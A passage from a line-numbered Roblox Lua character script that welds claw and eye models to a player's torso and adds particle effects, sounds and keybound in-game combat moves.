  2243. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2244. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2245. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2246. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2247. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2248. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2249. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2250. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2251. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2252. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2253. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2254. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2255. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2256. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2257. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2258. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2259. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2260.  
  2261. local modelzorz2=Instance.new("Model")
  2262. modelzorz2.Parent=Character
  2263. modelzorz2.Name="Claw2"
  2264.  
  2265. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2266. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2267. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2268. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2269. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2270. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2271. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2272. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2273. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2274. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2275. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2276. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2277. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2278. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2279. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2280. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2281. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2282. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2283. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2284. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2285. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2286. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2287. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2288. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2289. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2290. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2291. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2292. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2293. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2294. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2295. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2296. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2297. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2298. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2299. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2300. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2301. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2302. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2303. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2304. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2305. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2306.  
  2307. local modelzorz3=Instance.new("Model")
  2308. modelzorz3.Parent=Character
  2309. modelzorz3.Name="Eye"
  2310.  
  2311. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2312. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2313. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2314. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2315. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2316. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2317. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2318. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2319. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2320. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2321. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2322. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2323. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2324. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2325. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2326. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2327. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2328. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2329. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2330. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2331. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2332. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2333. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2334. local moosick = it("Sound",Character)
  2335. moosick.SoundId = "rbxassetid://677618630"
  2336. --142653441, 175067863
  2337. moosick.Looped = true
  2338. moosick.Pitch = 1
  2339. moosick.Volume = 1.5
  2340. moosick:Play()
  2341.  
  2342. anim = Character:findFirstChild("Animate")
  2343. if anim then
  2344. anim:Destroy()
  2345. end
  2346.  
  2347. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2348. particleemitter.VelocitySpread = 180
  2349. particleemitter.Lifetime = NumberRange.new(0.1)
  2350. particleemitter.Speed = NumberRange.new(2)
  2351. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2352. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2353. particleemitter.Rate = 100
  2354. particleemitter.Rotation = NumberRange.new(-45, 45)
  2355. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2356. particleemitter.LightEmission = 0.8
  2357. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2358.  
  2359. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2360. particleemitter.VelocitySpread = 180
  2361. particleemitter.Lifetime = NumberRange.new(0.1)
  2362. particleemitter.Speed = NumberRange.new(2)
  2363. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2364. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2365. particleemitter.Rate = 100
  2366. particleemitter.Rotation = NumberRange.new(-45, 45)
  2367. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2368. particleemitter.LightEmission = 0.8
  2369. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2370.  
  2371. local particleemitter = Instance.new("ParticleEmitter", handle)
  2372. particleemitter.VelocitySpread = 180
  2373. particleemitter.Lifetime = NumberRange.new(0.1)
  2374. particleemitter.Speed = NumberRange.new(2)
  2375. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2376. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2377. particleemitter.Rate = 100
  2378. particleemitter.Rotation = NumberRange.new(-45, 45)
  2379. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2380. particleemitter.LightEmission = 0.8
  2381. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2382.  
  2383. local light = Instance.new("PointLight", Character.Torso)
  2384. light.Color = Color3.new(255,255,255)
  2385. light.Brightness = 5
  2386. light.Range = 15
  2387.  
  2388. particleemitter.Enabled = true
  2389.  
  2390. local Footsteps = it("Sound",Character.Torso)
  2391. Footsteps.SoundId = "rbxassetid://142665235"
  2392. Footsteps.Looped = true
  2393. Footsteps.Pitch = 0.8
  2394. Footsteps.Volume = 0.3
  2395.  
  2396. local Footsteps2 = it("Sound",Character.Torso)
  2397. Footsteps2.SoundId = "rbxassetid://142665235"
  2398. Footsteps2.Looped = true
  2399. Footsteps2.Pitch = 1
  2400. Footsteps2.Volume = 0.4
  2401.  
  2402. local cam = game.Workspace.CurrentCamera
  2403.  
  2404. --cam.CameraSubject = Character
  2405.  
  2406. for i,v in pairs(Head:children()) do
  2407. if v:IsA("Sound") then
  2408. v:Destroy()
  2409. end
  2410. end
  2411.  
  2412. mouse.Button1Down:connect(function()
  2413. if attack==false and attacktype==1 then
  2414. attacktype=2
  2415. attackone()
  2416. elseif attack==false and attacktype==2 then
  2417. attacktype=3
  2418. attacktwo()
  2419. elseif attack==false and attacktype==3 then
  2420. attacktype=4
  2421. attackthree()
  2422. elseif attack==false and attacktype==4 then
  2423. attacktype=1
  2424. attackfour()
  2425. end
  2426. end)
  2427.  
  2428. mouse.KeyDown:connect(function(k)
  2429. k=k:lower()
  2430. if k=='e' then
  2431. if attack==false and mana>=20 then
  2432. Push()
  2433. end
  2434. elseif k=='g' then
  2435. if attack==false and mana>=50 then
  2436. Twirl()
  2437. end
  2438. elseif k=='v' then
  2439. if attack==false and mana>=25 then
  2440. MagicJump()
  2441. end
  2442. elseif k=='c' then
  2443. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2444. attack=true
  2445. for i = 1, 40 do
  2446. swait()
  2447. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2448. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2449. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2450. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2451. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2452. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2453. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2454. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2455. end
  2456. Blaze()
  2457. attack = false
  2458. end
  2459. elseif k=='x' then
  2460. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2461. attack=true
  2462. for i = 1, 15 do
  2463. swait()
  2464. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2465. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2466. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2467. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2468. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2469. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2470. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2471. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2472. end
  2473. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2474. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2475. for i = 0, 30 do
  2476. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2477. wait(0.1)
  2478. end
  2479. local parteffected = Instance.new("Part",tors)
  2480. parteffected.Transparency = 1
  2481. parteffected.Position = tors.Position
  2482. parteffected.CanCollide = false
  2483. parteffected.Anchored = true
  2484. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2485. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2486. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2487. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2488. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2489. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2490. local sbs = Instance.new("BodyPosition", RootPart)
  2491. sbs.P = 3000
  2492. sbs.D = 1000
  2493. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2494. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2495. for i = 1, 40 do
  2496. swait()
  2497. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2498. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2499. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2500. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2501. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2502. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2503. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2504. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2505. end
  2506. wait(3)
  2507. Blaze2()
  2508. attack = false
  2509. parteffected:Destroy()
  2510. sbs:Destroy()
  2511. end
  2512. elseif k=='q' then
  2513. if attack==false then
  2514. idle=1000
  2515. end
  2516. elseif k=='h' then
  2517. if attack==false then
  2518. mana=100
  2519. end
  2520. elseif k=='y' then
  2521. if attack==false and mana>=100 then
  2522. Shred()
  2523. end
  2524. elseif k=='f' then
  2525. if attack==false and mana>=40 then
  2526. Spin()
  2527. end
  2528. elseif k=='r' then
  2529. if attack==false and mana>=20 then
  2530. Clap()
  2531. end
  2532. elseif k=='t' then
  2533. if attack==false then
  2534. Hai()
  2535. end
  2536. elseif k=='0' then
  2537. if attack==false then
  2538. Humanoid.WalkSpeed=(24)
  2539. end
  2540. elseif k=='j' then
  2541. if attack==false then
  2542. Humanoid.Health = 10
  2543. print("Congrats, you commited suicide.")
  2544. end
  2545. end
  2546. end)
  2547.  
  2548. mouse.KeyDown:connect(function(k)
  2549. if k == "z" and Ultramode == false then
  2550. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2551. attack = true
  2552. for i = 1, 15 do
  2553. swait()
  2554. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2555. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2556. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2557. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2558. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2559. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2560. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2561. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2562. end
  2563. m:Destroy()
  2564. local m = Instance.new("Model", Character)
  2565. m.Name = "WeaponModel"
  2566. local parta = Instance.new("Part",Character)
  2567. parta.Size = vt(10,10,10)
  2568. parta.BrickColor = BrickColor.new("Really black")
  2569. parta.Material = "Neon"
  2570. parta.Shape = "Ball"
